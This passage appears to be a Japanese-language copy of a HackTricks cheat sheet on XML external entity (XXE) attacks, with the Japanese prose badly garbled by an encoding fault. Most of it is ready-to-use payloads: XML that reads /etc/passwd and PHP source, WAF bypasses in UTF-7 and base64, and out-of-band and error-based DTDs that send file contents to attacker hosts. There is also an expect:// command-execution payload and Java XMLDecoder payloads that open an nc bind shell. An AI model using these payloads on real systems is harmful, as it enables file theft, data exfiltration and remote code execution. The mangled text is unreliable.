äž¡æ¹ã®ã±ãŒã¹ã§ãSVGãã©ãŒãããã¯ãµãŒããŒã®ãœãããŠã§ã¢ã®XMLåŠçæ©èœãæªçšããæ»æãéå§ããããã«äœ¿çšãããå ç¢ãªå ¥åæ€èšŒãšã»ãã¥ãªãã£å¯Ÿçã®å¿ èŠæ§ã匷調ãããŠããŸãã
詳现ã«ã€ããŠã¯https://portswigger.net/web-security/xxeã確èªããŠãã ããïŒ
èªã¿èŸŒãŸãããã¡ã€ã«ã®æåã®è¡ãŸãã¯å®è¡çµæã¯ãäœæãããç»åã®äžã«è¡šç€ºãããŸãããããã£ãŠãSVGãäœæããç»åã«ã¢ã¯ã»ã¹ã§ããå¿ èŠããããŸãã
PDF - ãã¡ã€ã«ã¢ããããŒã
次ã®æçš¿ãèªãã§ãPDFãã¡ã€ã«ãã¢ããããŒãããŠXXEãæªçšããæ¹æ³ãåŠãã§ãã ããïŒ
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %} pdf-upload-xxe-and-cors-bypass.md {% endcontent-ref %}
Content-Type: x-www-urlencodedããXMLãž
POSTãªã¯ãšã¹ããXML圢åŒã®ããŒã¿ãåãå ¥ããå Žåããã®ãªã¯ãšã¹ãã§XXEãæªçšããããšããããšãã§ããŸããããšãã°ãéåžžã®ãªã¯ãšã¹ãã«æ¬¡ã®ãããªå 容ãå«ãŸããŠããå ŽåïŒ
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
次ã«ãåãçµæã§ä»¥äžã®ãªã¯ãšã¹ããéä¿¡ã§ãããããããŸããïŒ
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: From JSON to XEE
ãªã¯ãšã¹ããå€æŽããã«ã¯ããContent Type ConverterããšããBurpæ¡åŒµæ©èœã䜿çšã§ããŸãããã¡ãã«ãã®äŸããããŸã:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
å¥ã®äŸã¯ãã¡ãã§èŠã€ããããšãã§ããŸãã
WAF & ä¿è·ã®ãã€ãã¹
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
ããã¯ãXMLãµãŒããŒã data://
ãããã³ã«ãåãå
¥ããå Žåã«ã®ã¿æ©èœããŸãã
UTF-7
ãã㧠["Encode Recipe" of cyberchef]ã䜿çšã§ããŸã ([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)ãUTF-7ã«å€æããŸãã
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
File:/ ãããã³ã«ãã€ãã¹
ãŠã§ããPHPã䜿çšããŠããå Žåãfile:/
ã®ä»£ããã«phpã©ãããŒphp://filter/convert.base64-encode/resource=
ã䜿çšããŠå
éšãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããŸãã
ãŠã§ããJavaã䜿çšããŠããå Žåã¯ãjar: ãããã³ã«ã確èªããŠãã ããã
HTMLãšã³ãã£ãã£
https://github.com/Ambrotd/XXE-Notesããã®ããªãã¯
ãšã³ãã£ãã£ã®å
éšã«ãšã³ãã£ãã£ãäœæããhtmlãšã³ãã£ãã£ã§ãšã³ã³ãŒãããŠããããããåŒã³åºããŠdtdãããŒãã§ããŸãã
䜿çšããHTMLãšã³ãã£ãã£ã¯æ°å€ã§ããå¿
èŠããããŸãïŒãã®äŸã®ããã«ïŒ[(https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\ã
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTDã®äŸ:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP Wrappers
Base64
æœåº index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
å€éšãªãœãŒã¹ã®æœåº
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
ãªã¢ãŒãã³ãŒãå®è¡
PHPã®"expect"ã¢ãžã¥ãŒã«ãããŒããããŠããå Žå
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
ãã®äŸã¯https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxeã«ã€ã³ã¹ãã€ã¢ãããŠããŸãã
XLIFFïŒXMLããŒã«ãªãŒãŒã·ã§ã³ã€ã³ã¿ãŒãã§ã³ãžãã¡ã€ã«ãã©ãŒãããïŒã¯ãããŒã«ãªãŒãŒã·ã§ã³ããã»ã¹ã«ãããããŒã¿äº€æãæšæºåããããã«å©çšãããŸããããã¯ãäž»ã«ããŒã«ãªãŒãŒã·ã§ã³äžã«ããŒã«éã§ããŒã«ã©ã€ãºå¯èœãªããŒã¿ã転éããããã«äœ¿çšãããXMLããŒã¹ã®ãã©ãŒãããã§ãããCATïŒã³ã³ãã¥ãŒã¿æ¯æŽç¿»èš³ïŒããŒã«ã®å ±é亀æãã©ãŒããããšããŠã䜿çšãããŸãã
Blind Request Analysis
ãµãŒããŒã«æ¬¡ã®å 容ã§ãªã¯ãšã¹ããéä¿¡ãããŸãïŒ
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
ãããããã®ãªã¯ãšã¹ãã¯å éšãµãŒããŒãšã©ãŒãåŒãèµ·ãããç¹ã«ããŒã¯ã¢ãã宣èšã«é¢ããåé¡ã瀺ããŠããŸãïŒ
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
ãšã©ãŒã«ãããããããBurp Collaboratorã«ããããèšé²ãããå€éšãšã³ãã£ãã£ãšã®äœããã®ã€ã³ã¿ã©ã¯ã·ã§ã³ã瀺ãããŠããŸãã
Out of Band Data Exfiltration ããŒã¿ããšã¯ã¹ãã£ã«ãã¬ãŒãããããã«ãä¿®æ£ããããªã¯ãšã¹ããéä¿¡ãããŸãïŒ
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
ãã®ã¢ãããŒãã¯ãUser AgentãJava 1.8ã®äœ¿çšã瀺ããŠããããšãæããã«ããŸãããã®ããŒãžã§ã³ã®Javaã®å¶éã®äžã€ã¯ãOut of Bandæè¡ã䜿çšããŠãæ¹è¡æåãå«ããã¡ã€ã«ïŒäŸïŒ/etc/passwdïŒãååŸã§ããªãããšã§ãã
Error-Based Data Exfiltration ãã®å¶éãå æããããã«ãError-Basedã¢ãããŒããæ¡çšãããŸããDTDãã¡ã€ã«ã¯ãã¿ãŒã²ãããã¡ã€ã«ããã®ããŒã¿ãå«ããšã©ãŒãããªã¬ãŒããããã«æ¬¡ã®ããã«æ§æãããŠããŸãïŒ
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
ãµãŒããŒã¯ãšã©ãŒã§å¿çããéèŠãªããšã«ååšããªããã¡ã€ã«ãåæ ãããµãŒããŒãæå®ããããã¡ã€ã«ã«ã¢ã¯ã»ã¹ããããšããŠããããšã瀺ããŠããŸãïŒ
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
ãšã©ãŒã¡ãã»ãŒãžã«ãã¡ã€ã«ã®å 容ãå«ããããã«ãDTDãã¡ã€ã«ã調æŽãããŸãïŒ
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
ãã®å€æŽã«ãããHTTPçµç±ã§éä¿¡ããããšã©ãŒåºåã«åæ ããããã¡ã€ã«ã®å 容ãæ£åžžã«æœåºãããŸããããã¯ãæ©å¯æ å ±ãæœåºããããã«Out of Bandããã³Error-Basedæè¡ã®äž¡æ¹ãå©çšããæåããXXEïŒXML External EntityïŒæ»æã瀺ããŠããŸãã
RSS - XEE
XXEè匱æ§ãæªçšããããã®RSS圢åŒã®æå¹ãªXMLã
Ping back
æ»æè ã®ãµãŒããŒãžã®ã·ã³ãã«ãªHTTPãªã¯ãšã¹ã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
ãã¡ã€ã«ãèªã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
ãœãŒã¹ã³ãŒããèªã
PHPã®base64ãã£ã«ã¿ãŒã䜿çš
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
Java XMLDecoder XEE to RCE
XMLDecoderã¯ãXMLã¡ãã»ãŒãžã«åºã¥ããŠãªããžã§ã¯ããäœæããJavaã¯ã©ã¹ã§ããæªæã®ãããŠãŒã¶ãŒãã¢ããªã±ãŒã·ã§ã³ã«ä»»æã®ããŒã¿ãreadObjectã¡ãœãããžã®åŒã³åºãã§äœ¿çšãããããšãã§ããã°ã圌ã¯ç¬æã«ãµãŒããŒäžã§ã³ãŒãå®è¡ãåŸãããšãã§ããŸãã
Using Runtime().exec()
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>
ProcessBuilder
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>
ããŒã«
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
åèæç®
- https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf\
- https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html\
- èªåã®å€éšDTDã䜿çšããŠHTTPçµç±ã§æ å ±ãæœåº: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/\
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection\
- https://gist.github.com/staaldraad/01415b990939494879b4\
- https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9\
- https://portswigger.net/web-security/xxe\
- https://gosecure.github.io/xxe-workshop/#7
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSãããã³ã°ãåŠã³ãå®è·µãã:HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µãã: HackTricks Training GCP Red Team Expert (GRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ãã!
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãHackTricksãšHackTricks Cloudã®githubãªããžããªã«PRãéä¿¡ããŠãã ããã